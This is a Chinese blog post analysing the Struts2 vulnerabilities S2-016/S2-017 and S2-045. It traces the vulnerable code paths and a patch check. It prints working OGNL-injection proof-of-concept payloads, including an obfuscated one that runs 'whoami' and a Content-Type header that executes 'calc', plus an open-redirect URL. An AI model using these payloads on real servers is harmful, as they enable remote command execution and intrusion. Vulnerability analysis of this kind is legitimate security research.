当前位置: 首页 > java >正文

代码审计-Struts2漏洞分析

一、Struts2介绍
Struts2 是一个基于 MVC(Model-View-Controller) 设计模式的开源 Java Web 应用框架,由 Apache 软件基金会维护。它是 Struts1 和 WebWork 框架的整合产物,以 WebWork 为核心,通过拦截器机制实现业务逻辑与 Servlet API 的解耦,适用于构建企业级 Web 应用程序。
二、S2-016\S2-017
两个漏洞原理一样,S2-016可构造redirect传入命令,S2构造redirect传入url通过OGNL表达式执行,下面为分析过程。

通过DefaultActiionMapper 把命名空间key取出来
在这里插入图片描述
找到是redirect进入redirect方法里面,设置属性
在这里插入图片描述
讲参数传入this.location和param中
在这里插入图片描述
装饰OGNL表达式,传入expression参数
在这里插入图片描述
执行成功
在这里插入图片描述

S2-016 poc
${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('whoami'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter()
s2-017 poc
http://xxxxx.com/xxx.action?redirect:http:xxxx.com补丁分析:
if ((key.contains("action:")) || (key.contains("redirect:")) || (key.contains("redirectAction:"))) {
return;

三、S2-045
漏洞的本质就是content-type内容出现异常触发了表达式的执行

接入传入参数content_type
在这里插入图片描述
message数据传递

在这里插入图片描述

在这里插入图片描述
装饰OGNL表达式,传入expression参数
在这里插入图片描述
执行成功
在这里插入图片描述

poc
content-type:test multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; boundar
http://www.xdnf.cn/news/15190.html

相关文章:

  • java进阶(一)+学习笔记
  • 【嵌入式】51单片机学习笔记-Keil5软件安装教程
  • 【6.1.3 漫画分布式锁】
  • 算法魅力-BFS解决最短路问题
  • Android音视频探索之旅 | C++层使用OpenGL ES实现视频渲染
  • 【文献阅读】DEPTH PRO: SHARP MONOCULAR METRIC DEPTH IN LESS THAN A SECOND
  • AI:机器人行业发展现状
  • 【软件测试面试】面试了字节、美团、腾讯等30几家公司后,才知道软件测试面试全是这个套路......
  • PyVision:基于动态工具的具身智能体
  • linux学习第30天(线程同步和锁)
  • 【世纪龙科技】比亚迪新能源汽车结构原理体感教学软件
  • 从零到一:企业如何组建安全团队
  • CSS选择器进行定位
  • 医疗AI前端开发中的常见问题分析和解决方法
  • 计算机视觉与深度学习 | 基于Matlab的多特征融合可视化指纹识别系统(附完整代码)
  • 电脑上如何查看WiFi密码
  • [BUUCTF 2018]Online Tool
  • tp8.0\jwt接口安全验证
  • 什么是 Bootloader?怎么把它移植到 STM32 上?
  • 《人件》第六章 快乐地工作
  • Python-难点-uinttest
  • 秋招笔试考什么?如何针对性去练习?
  • w459客户管理系统
  • xml映射文件的方式操作mybatis
  • 多线程进阶——JUC的常见类
  • 跨系统开发代码换行符如何解决
  • docker-compose方式搭建lnmp环境——筑梦之路
  • 2025 XYD Summer Camp 7.10 筛法
  • Go语言生态成熟度分析:为何Go还无法像Java那样实现注解式框架?
  • 系统分析师-计算机系统-计算机系统概述存储系统